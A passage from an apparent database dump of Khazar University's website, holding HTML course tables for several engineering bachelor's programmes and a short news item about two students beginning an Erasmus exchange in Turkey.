internship opportunities for the students and employment opportunities for the graduates of the School.</p><p style=\"font-family:arial, helvetica, sans-serif\">The curriculum in petroleum engineering includes sufficient training in basic engineering sciences to prepare the graduates for the application of engineering principles to the petroleum industry. Courses in geology give an understanding of the geological structures and conditions favorable for petroleum deposits.</p><p style=\"font-family:arial, helvetica, sans-serif\">The engineering fundamentals and computer tools with application to a broad range of engineering problems are emphasized.</p><p style=\"font-family:arial, helvetica, sans-serif\">Students are required to take a summer internship during the period of study.&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"4\"><tbody><tr><td width=\"156\"><strong>Code</strong></td><td width=\"252\"><strong>Courses</strong></td><td colspan=\"2\" width=\"84\"><strong>Credits</strong></td></tr><tr><td width=\"156\"><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"276\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;University Requirements</strong></td><td width=\"60\">27</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;General Education Requirements</strong><strong></strong></td><td width=\"60\">21</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Major Requirements</strong></td><td width=\"60\">74</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Mathematics and Science&nbsp;</strong>(total 24 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"276\">&nbsp;Calculus II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;MATH 310</td><td colspan=\"2\" width=\"276\">&nbsp;Applied Differential Equations</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Two elective courses in Mathematics</td><td width=\"60\">6</td></tr><tr><td width=\"156\">&nbsp;PHSC 111</td><td colspan=\"2\" width=\"276\">&nbsp;Physics I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;PHSC 112</td><td colspan=\"2\" width=\"276\">&nbsp;Physics II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CHEM 111</td><td colspan=\"2\" width=\"276\">&nbsp;Chemistry I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CHEM 112</td><td colspan=\"2\" width=\"276\">&nbsp;Chemistry II</td><td width=\"60\">3 &nbsp;</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Engineering Fundamentals&nbsp;</strong>(total 16 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;ENGR 102</td><td colspan=\"2\" width=\"276\">&nbsp;Engineering Mechanics</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;ENGR 203</td><td colspan=\"2\" width=\"276\">&nbsp;Strength of Materials</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;ENGR 210</td><td colspan=\"2\" width=\"276\">&nbsp;Fluid Mechanics</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;ENGR 303</td><td colspan=\"2\" width=\"276\">&nbsp;Thermodynamics</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CMS 350</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Graphics</td><td width=\"60\">3</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Petroleum and Gas Engineering &nbsp;</strong>(total 34 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;GEOL 103</td><td colspan=\"2\" width=\"276\">&nbsp;Geology for Petroleum Engineers</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;PETE 202</td><td colspan=\"2\" width=\"276\">&nbsp;Physics of Oil and Gas Reservoirs</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;PETE 302</td><td colspan=\"2\" width=\"276\">&nbsp;Drilling Engineering</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;PETE 313</td><td colspan=\"2\" width=\"276\">&nbsp;Petroleum Reservoir Engineering</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;PETE 402 &nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Petroleum Production Engineering &nbsp;</td><td width=\"60\">3 &nbsp;</td></tr><tr><td width=\"156\">PETE 415</td><td colspan=\"2\" width=\"276\">&nbsp; Gas and Gas-Condensate Reservoir Engineering</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;ENV 305</td><td colspan=\"2\" width=\"276\">&nbsp;Health, Safety and Environment</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;MGT 310</td><td colspan=\"2\" width=\"276\">&nbsp;Management and Organization</td><td width=\"60\"><p>3</p></td></tr><tr><td width=\"156\">&nbsp;RETE 450</td><td colspan=\"2\" width=\"276\">&nbsp;Summer&nbsp;Internship</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Two elective courses on Major</td><td width=\"60\">6</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;&nbsp;</strong><strong>Open Electives</strong></td><td width=\"60\"><strong>&nbsp;6</strong></td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 1</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 2</td><td width=\"60\">3</td></tr><tr><td width=\"156\"><strong>&nbsp;TOTAL</strong></td><td colspan=\"2\" width=\"276\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>128</strong></td></tr></tbody></table><p></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Note:</strong>&nbsp;The School may also offer alternative courses to those listed above.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Bachelor of Science (BS) Degree Program in Civil Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">The curriculum in Civil Engineering is planned to provide a sound professional education for the students. After completing courses in basic sciences, students are offered courses in Applied Mechanics, Hydraulics, Geodesy, Materials, Construction Engineering, etc. Practical experience is required for the degree and accordingly, students are required to undertake a summer internship. Elective courses are offered to enable the students to advance their knowledge in specific fields.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"4\" width=\"542\" height=\"817\"><tbody><tr><td width=\"31%\"><strong>CODE</strong></td><td width=\"56%\"><strong>COURSES</strong></td><td width=\"12%\"><strong>CREDITS</strong></td></tr><tr><td colspan=\"2\" width=\"87%\">&nbsp;</td><td width=\"12%\">&nbsp;</td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;UNIVERSITY REQUIREMENTS</strong></td><td width=\"12%\"><strong>27</strong></td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;GENERAL EDUCATION REQUIREMENTS</strong></td><td width=\"12%\"><strong>21</strong></td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;MAJOR REQUIREMENTS</strong></td><td width=\"12%\"><strong>74</strong></td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;Mathematics and Science&nbsp;</strong>(total 24 credits)</td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\">&nbsp;MATH 102</td><td width=\"56%\">&nbsp;Calculus II</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;MATH 340</td><td width=\"56%\">&nbsp;Applied Statistical&nbsp;Analysis</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;</td><td width=\"56%\">&nbsp;Two elective courses in Mathematics</td><td width=\"12%\">6</td></tr><tr><td width=\"31%\">&nbsp;PHSC 111</td><td width=\"56%\">&nbsp;Physics I</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;PHSC 112</td><td width=\"56%\">&nbsp;Physics II</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CHEM 111</td><td width=\"56%\">&nbsp;Chemistry I</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CHEM 112</td><td width=\"56%\">&nbsp;Chemistry II</td><td width=\"12%\">3</td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;Engineering Fundamentals&nbsp;</strong>(total 16 credits)</td><td width=\"12%\">&nbsp;</td></tr><tr><td width=\"31%\">&nbsp;ENGR 102</td><td width=\"56%\">&nbsp;Engineering Mechanics</td><td width=\"12%\">4</td></tr><tr><td width=\"31%\">&nbsp;CIV 224</td><td width=\"56%\">&nbsp;Mechanics of Materials</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;ENGR 210</td><td width=\"56%\">&nbsp;Fluid Mechanics</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 363</td><td width=\"56%\">&nbsp;Soil Mechanics</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 101</td><td width=\"56%\">&nbsp;Civil Engineering Drawing</td><td width=\"12%\">3</td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;Civil Engineering &nbsp;</strong>(total 34 credits)</td><td width=\"12%\">&nbsp;</td></tr><tr><td width=\"31%\">&nbsp;GEOL 102</td><td width=\"56%\">&nbsp;Geology for Civil Engineers</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 202</td><td width=\"56%\">&nbsp;Surveying</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 244</td><td width=\"56%\">&nbsp;Materials of Construction</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 313</td><td width=\"56%\">&nbsp;Design of&nbsp; Building Structures</td><td width=\"12%\">4</td></tr><tr><td width=\"31%\">&nbsp;CIV 366</td><td width=\"56%\">&nbsp;Foundation Engineering</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 384</td><td width=\"56%\">&nbsp;Structural Analysis</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;ENV 305</td><td width=\"56%\">&nbsp;Health, Safety and Environment</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;MGT 310</td><td width=\"56%\">&nbsp;Management and Organization</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;CIV 400</td><td width=\"56%\">&nbsp;Summer Internship</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;</td><td width=\"56%\">&nbsp;Two elective courses on Major</td><td width=\"12%\">6</td></tr><tr><td width=\"31%\"><strong>&nbsp;OPEN ELECTIVES</strong></td><td width=\"56%\">&nbsp;</td><td width=\"12%\"><strong>6</strong></td></tr><tr><td width=\"31%\">&nbsp;</td><td width=\"56%\">&nbsp;Elective 1</td><td width=\"12%\">3</td></tr><tr><td width=\"31%\">&nbsp;</td><td width=\"56%\">&nbsp;Elective 2 &nbsp;</td><td width=\"12%\">3</td></tr><tr><td colspan=\"2\" width=\"87%\"><strong>&nbsp;TOTAL</strong></td><td width=\"12%\"><strong>128</strong></td></tr></tbody></table><p></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Note:</strong>&nbsp;The School may also offer alternative courses to those listed above.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;Bachelor of Science (BS) Degree Program in Electronics, Telecommunications and Radio Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">The curriculum in Electronics, Telecommunications and Radio Engineering is planned to provide a sound professional education for the students. After completing courses in basic sciences, students are offered major courses. Practical experience is required for the degree and accordingly, students are required to undertake summer internships. Elective courses are offered to enable the students to advance their knowledge in specific fields.<strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"4\" width=\"507\" height=\"712\"><tbody><tr><td width=\"144\"><strong>Code</strong></td><td width=\"240\"><strong>Courses</strong></td><td colspan=\"2\" width=\"81\"><strong>Credits</strong></td></tr><tr><td colspan=\"3\" width=\"407\"><strong>&nbsp;University Requirements</strong></td><td width=\"58\"><strong>27</strong></td></tr><tr><td colspan=\"3\" width=\"407\"><strong>&nbsp;General Education Requirements</strong><strong>&nbsp;</strong>(including Calculus I)</td><td width=\"58\"><strong>21</strong></td></tr><tr><td colspan=\"3\" width=\"407\"><strong>&nbsp;Major Requirements</strong></td><td width=\"58\"><strong>74</strong></td></tr><tr><td colspan=\"3\" width=\"407\"><strong>&nbsp;Mathematics and Science&nbsp;</strong>(total 18 crediits) &nbsp;</td><td width=\"58\"><strong>&nbsp;</strong></td></tr><tr><td width=\"144\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"263\">&nbsp;Calculus II</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;MATH 310</td><td colspan=\"2\" width=\"263\">&nbsp;Applied Differential Equations</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Two elective courses in Mathematics</td><td width=\"58\">6</td></tr><tr><td width=\"144\">&nbsp;PHSC 111</td><td colspan=\"2\" width=\"263\">&nbsp;Physics I</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;PHSC 112</td><td colspan=\"2\" width=\"263\">&nbsp;Physics II &nbsp;</td><td width=\"58\">3</td></tr><tr><td colspan=\"3\" width=\"407\"><strong>&nbsp;Engineering Fundamentals&nbsp;</strong>(total 14 credits)</td><td width=\"58\"><strong>&nbsp;</strong></td></tr><tr><td width=\"144\">&nbsp;EENG 301</td><td colspan=\"2\" width=\"263\">&nbsp;Circuits Theory</td><td width=\"58\">4</td></tr><tr><td width=\"144\">&nbsp;CMS 303</td><td colspan=\"2\" width=\"263\">&nbsp;Digital Logic</td><td width=\"58\">4</td></tr><tr><td width=\"144\">&nbsp;CMS 350</td><td colspan=\"2\" width=\"263\">&nbsp;Computer Graphics</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;MGT 310</td><td colspan=\"2\" width=\"263\">&nbsp;Management &nbsp;and Organization</td><td width=\"58\">3</td></tr><tr><td width=\"144\"><strong>&nbsp;Major</strong>&nbsp;(total 42 credits)</td><td colspan=\"2\" width=\"263\">&nbsp; &nbsp;</td><td width=\"58\">&nbsp;</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Semiconductor Devices and Modeling</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Analog Electronics</td><td width=\"58\">4</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Digital Electronics</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Computer Networks and Communications</td><td width=\"58\">4<strong><em>&nbsp;<br></em></strong></td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Telecommunication Systems</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Telecommunication Networks</td><td width=\"58\">3</td></tr><tr><td width=\"144\"><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"263\">&nbsp;Electromagnetic Theory</td><td width=\"58\">3</td></tr><tr><td width=\"144\"><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"263\">&nbsp;Fundamentals of Radio Engineering</td><td width=\"58\">4</td></tr><tr><td width=\"144\"><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"263\">&nbsp;Three elective courses on Major</td><td width=\"58\">9</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Summer Internship</td><td width=\"58\">3</td></tr><tr><td width=\"144\"><strong>&nbsp;Open Electives</strong></td><td colspan=\"2\" width=\"263\">&nbsp;</td><td width=\"58\"><strong>6</strong></td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Elective 1</td><td width=\"58\">3</td></tr><tr><td width=\"144\">&nbsp;</td><td colspan=\"2\" width=\"263\">&nbsp;Elective 2 &nbsp;</td><td width=\"58\">3</td></tr><tr><td width=\"144\"><strong>&nbsp;TOTAL</strong></td><td colspan=\"2\" width=\"263\"><strong>&nbsp;</strong></td><td width=\"58\"><strong>128</strong></td></tr></tbody></table><p></p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong><strong>&nbsp;Bachelor of Science (BS) Degree Program in&nbsp;</strong>Chemical Engineerining&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong><br></strong></p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr height=\"20\"><td width=\"64\" height=\"20\">&nbsp;</td><td width=\"227\"><strong>Tentative Curriculum For Fall 2015</strong></td><td width=\"66\">&nbsp;</td><td width=\"51\">&nbsp;</td><td width=\"44\">&nbsp;</td><td width=\"60\">&nbsp;</td><td width=\"214\">&nbsp;</td><td width=\"64\">&nbsp;</td><td width=\"55\">&nbsp;</td></tr><tr height=\"44\"><td height=\"44\">&nbsp;</td><td colspan=\"6\"><strong>Khazar University</strong></td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"31\"><td height=\"31\">&nbsp;</td><td colspan=\"6\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>Chemical Engineering B.S. Program</strong></td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"27\"><td height=\"27\">&nbsp;</td><td colspan=\"8\"><strong>1st-Year</strong></td></tr><tr height=\"23\"><td height=\"23\">CODE</td><td width=\"227\">Fall Semester</td><td width=\"66\">KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"214\">Spring Semester</td><td width=\"64\">KU</td><td>ECTS</td></tr><tr height=\"24\"><td height=\"24\">AZLL 101</td><td width=\"227\">Azerbaijan Language&nbsp;</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>AZH 150</td><td width=\"214\">Azerbaijan History&nbsp;</td><td width=\"64\">3</td><td>6</td></tr><tr height=\"24\"><td height=\"24\">MATH 101</td><td width=\"227\">Calculus_I</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>MATH 102</td><td width=\"214\">Calculus_II</td><td width=\"64\">3</td><td>6</td></tr><tr height=\"24\"><td height=\"24\">PHSC 111</td><td width=\"227\">Physics_I</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>PHSC 112</td><td width=\"214\">Physics_II</td><td width=\"64\">3</td><td>6</td></tr><tr height=\"30\"><td height=\"30\">CHEM 111</td><td width=\"227\">Chemistry_I</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>CHEM 112</td><td width=\"214\">Chemistry_II</td><td width=\"64\">3</td><td>6</td></tr><tr height=\"24\"><td height=\"24\">CMS 101</td><td width=\"227\">Introduction to Computer and IT</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>CMS 202</td><td width=\"214\">Computer Application</td><td width=\"64\">3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">ENGL 101</td><td width=\"227\">English Foundations_I</td><td width=\"66\">4</td><td>8</td><td>&nbsp;</td><td>ENGL 102</td><td width=\"214\">English Foundation _II</td><td width=\"64\">4</td><td>8</td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>19</td><td>38</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Credit</td><td>19</td><td>38</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"12\"><td height=\"12\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"27\"><td height=\"27\">&nbsp;</td><td colspan=\"8\"><strong>2nd-Year</strong></td></tr><tr height=\"25\"><td height=\"25\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"214\">Spring Semester</td><td>KU</td><td>ECTS</td></tr><tr height=\"26\"><td height=\"26\">ChE201</td><td width=\"227\">Introduction to Chemical Engineering</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHE 290</td><td width=\"214\">Material and Energy Balance</td><td>3</td><td>6</td></tr><tr height=\"22\"><td height=\"22\">ENGL 103</td><td width=\"227\">Academic English</td><td>4</td><td>8</td><td>&nbsp;</td><td>CIV 101</td><td width=\"214\">Engineering Drawing (AutoCAD)_I</td><td>3</td><td>6</td></tr><tr height=\"23\"><td height=\"23\">CHEM 201</td><td width=\"227\">Organic Chemistry _I</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 202</td><td width=\"214\">Organic Chemistry _II</td><td>3</td><td>6</td></tr><tr height=\"22\"><td height=\"22\">CHEM 113</td><td width=\"227\">Analytical Chemistry Lab</td><td>1</td><td>2</td><td>&nbsp;</td><td>ENGR 303</td><td width=\"214\">Thermodynamics 1</td><td>3</td><td>6</td></tr><tr height=\"25\"><td height=\"25\">CMS 204</td><td width=\"227\">C-Programming</td><td>3</td><td>6</td><td>&nbsp;</td><td>MATH 312</td><td width=\"214\">Differential Equations</td><td>3</td><td>6</td></tr><tr height=\"23\"><td height=\"23\">MATH 132</td><td width=\"227\">Linear Algebra</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 310</td><td width=\"214\">Engineering Mechanics</td><td>3</td><td>6</td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>17</td><td>34</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Credit</td><td>18</td><td>36</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"12\"><td height=\"12\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"27\"><td height=\"27\">&nbsp;</td><td colspan=\"8\"><strong>3rd-Year</strong></td></tr><tr height=\"21\"><td height=\"21\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"214\">Spring Semester</td><td>KU</td><td>ECTS</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;ENGR 210</td><td width=\"227\">Fluid Mechanics + Lab</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 331</td><td width=\"214\">Heat Transfer + Lab</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;ENGR 203</td><td width=\"227\">Strength of Materials</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 310</td><td width=\"214\">Unit Operation I</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">CHEM 311</td><td width=\"227\">Physical Chemistry</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 313</td><td width=\"214\">MatLab + CFD</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">CHEM 330</td><td width=\"227\">Mass Transfer&nbsp;</td><td>3</td><td>6</td><td>&nbsp;</td><td>ENGR 304</td><td width=\"214\">Thermodynamics 2</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;MATH 340</td><td width=\"227\">Applied Statistics</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Social Science**</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td width=\"227\">Humanity*</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEM 450</td><td width=\"214\">Summer Internship</td><td>3</td><td>6</td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>18</td><td>36</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Credit</td><td>18</td><td>36</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"13\"><td height=\"13\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"27\"><td height=\"27\">&nbsp;</td><td colspan=\"8\"><strong>4th-Year</strong></td></tr><tr height=\"21\"><td height=\"21\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"214\">Spring Semester</td><td>KU</td><td>ECTS</td></tr><tr height=\"20\"><td height=\"20\">CHEM 312</td><td width=\"227\">Unit Operation II</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;PETE 402</td><td width=\"214\">Petroleum Production Technology</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">CHEM 440</td><td width=\"227\">Process Control</td><td>3</td><td>6</td><td>&nbsp;</td><td>CHEMI 430</td><td width=\"214\">Chemical Eng. Design</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">CHEM 410</td><td width=\"227\">Kinetics and Reaction</td><td>3</td><td>6</td><td>&nbsp;</td><td>PETE 560</td><td width=\"214\">Modeling and Simulation</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">CHEMI 420</td><td width=\"227\">Workshop Software in Chemical Eng.</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Major_Elective</td><td>3</td><td>6</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td width=\"227\">Major Elective</td><td>3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>15</td><td>30</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"214\">Credit</td><td>12</td><td>24</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td><strong>Total</strong></td><td><strong>136</strong></td><td><strong>272</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;<br><br></td></tr></tbody></table><p></p>'),(485,319,'en','News','','<div><h3 style=\"color:#990033\">Two Students from School of Engineering and Applied Sciences Start Exchange Program in Turkey</h3><p>Two students from the School of Engineering and Applied Sciences selected to participate in a semester-long exchange at the Middle East Technical University (Ankara, Turkey) started their exchange program. Saida Ahmadova is a third year student getting her bachelor\'s degree in Computer Science and Azim Hashimov is a second-year tudent studying Petroleum Engineering.&nbsp;</p><p>The students shared their expectations and hopes: \"We have just started our mobility and are already enjoying it very much. We took part in the orientation week, made friends with students from various countries, and attended some events including a traditional dinner, a welcome party, and museum tours. We are looking forward to starting the academic program very soon!\"</p><p>This exchange is taking place within the interinstitutional partnership agreement signed between Khazar University and the Middle East Technical University in frame of the Erasmus Plus program.</p><p><img src=\"http://www.khazar.org/files/image/23383.gif\" style=\"border:0px  #000000;width:200px;height:113px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"http://www.khazar.org/files/image/23384.gif\" style=\"border:0px  #000000;width:200px;height:113px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/image/23385.gif\" style=\"border:0px  #000000;width:200px;height:113px;margin:7px;vertical-align:baseline\"></p><hr></div><h2 style=\"color:#990033\">2nd National Spaghetti Bridge Competition 